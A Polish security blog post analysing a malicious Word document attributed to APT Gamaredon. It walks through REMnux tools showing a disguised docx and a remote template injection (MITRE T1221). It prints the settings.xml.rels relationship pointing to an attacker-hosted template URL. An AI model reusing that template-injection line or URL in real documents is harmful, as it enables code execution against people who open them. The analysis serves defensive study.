NFsec Logo

Analiza pliku Word Office od APT Gamaredon

18/03/2022 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 812, ilość słów: 2396)

W

czwartek, 24 lutego 2022 roku Rosja dokonała aktu nieuzasadnionej napaści na Ukrainę. Jeszcze zanim rozpoczęła się gorąca faza zbrojnego konfliktu uruchomione zostały działania cybernetyczne. W artykule tym chciałbym zaprezentować dość sprytną technikę użytą przez APT Gamaredon, którego podstawowym celem jest Ukraina. Większość kroków wykonanych w tej analizie została już omówiona wcześniej w serii: O statycznej analizie plików Microsoft Office słów kilka albo i więcej (cz. I, II, III) – dlatego nie będą one tutaj przedmiotem głębszych rozważań. Analizowany dokument można ściągnąć z bazaru szkodliwego oprogramowania. Zbiera on znalezione próbki malware, ransomware i inne *ware wzbogacając je o dodatkowe informacje i udostępnia je społeczności analityków za darmo.

Na początku obliczymy skrót sha256:

remnux@remnux:~$ sha256sum sample.doc
496213612d873633a80320bb3422b44d21edb064953110e86ec09f1c7c5ec87c sample.doc

Sprawdźmy również VirusTotal, w którym na dzień dzisiejszy zobaczymy już całą masę detekcji ze strony silników antywirusowych. Szczególnie zachęcam do przeczytania zakładki Community. Sprawdźmy teraz typ pliku, którego rozszerzenie (.doc) wskazuje na dokument:

remnux@remnux:~$ file sample.doc
sample.doc: Microsoft Word 2007+

Ale używając już bardziej wyrafinowanych narzędzi, jak TrID oraz ExifTool wyraźnie widzimy, że prawdziwym formatem jest docx:

remnux@remnux:~$ exiftool sample.doc
ExifTool Version Number         : 12.16
File Name                       : sample.doc
Directory                       : .
File Size                       : 17 KiB
File Modification Date/Time     : 2022:03:04 06:01:22+01:00
File Access Date/Time           : 2022:03:11 16:03:43+01:00
File Inode Change Date/Time     : 2022:03:04 07:13:54+01:00
File Permissions                : rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument
                                  .wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x576f9132
Zip Compressed Size             : 358
Zip Uncompressed Size           : 1445
Zip File Name                   : [Content_Types].xml
Template                        : nay.p3l
Total Edit Time                 : 1.8 hours
Pages                           : 1
Words                           : 752
Characters                      : 4287
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 35
Paragraphs                      : 10
Scale Crop                      : No
Heading Pairs                   : Название, 1
Titles Of Parts                 :
Company                         : SPecialiST RePack
Links Up To Date                : No
Characters With Spaces          : 5029
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 15.0000
Title                           :
Subject                         :
Creator                         : San4es
Keywords                        :
Description                     :
Last Modified By                : San4es
Revision Number                 : 8
Create Date                     : 2022:02:23 20:40:00Z
Modify Date                     : 2022:02:23 22:30:00Z

Zwróćmy szczególną uwagę na datę stworzenia pliku i modyfikacji:

Create Date                     : 2022:02:23 20:40:00Z
Modify Date                     : 2022:02:23 22:30:00Z

To zaledwie kilka godzin przed rosyjską inwazją. Z kolei metadana:

Company                         : SPecialiST RePack

Wskazuje na użycie pirackiej wersji oprogramowania. SPecialiST RePack to rosyjski “wydawca cyfrowy”, który jest używany do przepakowywania oprogramowania. Według bazy danych złośliwego oprogramowania firmy Emsisoft, jest to źródło dużej liczby zainfekowanych plików i produktów. W celu upewnienia się, co do rodzaju pliku możemy jeszcze sprawdzić tzw. magic number, które charakteryzują każdy rodzaj pliku.

remnux@remnux:~$ xxd sample.doc
00000000: 504b 0304 1400 0600 0800 0000 2100 3291  PK..........!.2.
00000010: 6f57 6601 0000 a505 0000 1300 0802 5b43  oWf...........[C
00000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d  ontent_Types].xm
00000030: 6c20 a204 0228 a000 0200 0000 0000 0000  l ...(..........

W pierwszej linii widzimy frazę: "PK.." 0x50 0x4B 0x03 0x04, czyli jest to plik typu Zip Archive, a inaczej docx. Plik nie zawiera makr. Jednak stosując polecenia olevba możemy zobaczyć ciekawy wynik:

remnux@remnux:~$ olevba sample.doc
olevba 0.56.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: sample.doc
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO word/_rels/settings.xml.rels
in file: word/_rels/settings.xml.rels - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/
relationships/attachedTemplate" Target="http://prick.falcon62.freebsdo.ru/DESKTOP-6NRN
62F/glimpse/council/glimpse/nay.p3l" TargetMode="External"/></Relationships>

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |http://prick.falcon6|URL                                          |
|          |2.freebsdo.ru/DESKTO|                                             |
|          |P-6NRN62F/glimpse/co|                                             |
|          |uncil/glimpse/nay.p3|                                             |
|          |l                   |                                             |
|Suspicious|Template Injection  |Template injection found. A malicious        |
|          |                    |template could have been uploaded from a     |
|          |                    |remote location                              |
+----------+--------------------+---------------------------------------------+

Narzędzie wskazuje nam, że w dokumencie zastosowano technikę zwaną Template Injection, która polega na odwołaniu się do zewnętrznego zasobu w celu ściągnięcia szablonu. Sam dokument nie zawiera złośliwego kodu, co zwiększa szansę jego otworzenia i uruchomienia. Technika ta w macierzy MITRE to T1221. Trochę więcej informacji, jak przygotować taki dokument możemy znaleźć w opracowaniu Executing Macros From a DOCX With Remote Template Injection. Przejdźmy teraz do wspomnianego szablonu. Na początku musimy rozpakować naszą próbkę:

remnux@remnux:~$ unzip sample.doc
Archive: sample.doc
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: word/_rels/document.xml.rels
  inflating: word/document.xml
  inflating: word/theme/theme1.xml
  inflating: word/_rels/settings.xml.rels
  inflating: word/settings.xml
  inflating: word/webSettings.xml
  inflating: word/styles.xml
  inflating: docProps/app.xml
  inflating: docProps/core.xml
  inflating: word/fontTable.xml
  inflating: word/numbering.xml

Następnie przejdźmy do odpowiedniego katalogu i zobaczmy zawartość pliku settings.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/
relationships/attachedTemplate" Target="http://prick.falcon62.freebsdo.ru/DESKTOP-6NRN
62F/glimpse/council/glimpse/nay.p3l" TargetMode="External"/></Relationships>

Jak widzimy w sekcji Target zawarty jest adres URL, który również był pokazany w wyniku polecenia olevba. Niestety w momencie analizy infrastruktura hostująca plik nay.p3l była już nieaktywna. W wynikach VirusTotal widać, że jest on uznany za złośliwy. Jeśli spojrzymy jeszcze raz na pełny adres URL, to znajdziemy w nim frazę, która wskazuje na nazwę konkretnego komputera: DESKTOP-6NRN62F. Na koniec warto wspomnieć, że jeśli cofniemy się do wyników polecenia exiftool to również znajdziemy w nich częściową informację o szablonie:

Template                        : nay.p3l

Podsumowując: w przeanalizowanym dokumencie nastąpiła próba ukrycia prawdziwego rozszerzenia pliku oraz próba ominięcia zabezpieczeń poprzez pobranie złośliwego kodu pod postacią szablonu z zainicjowanego zewnętrznego źródła po ewentualnym otworzeniu pliku.

Więcej informacji: Próbki APT Gamaredon

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.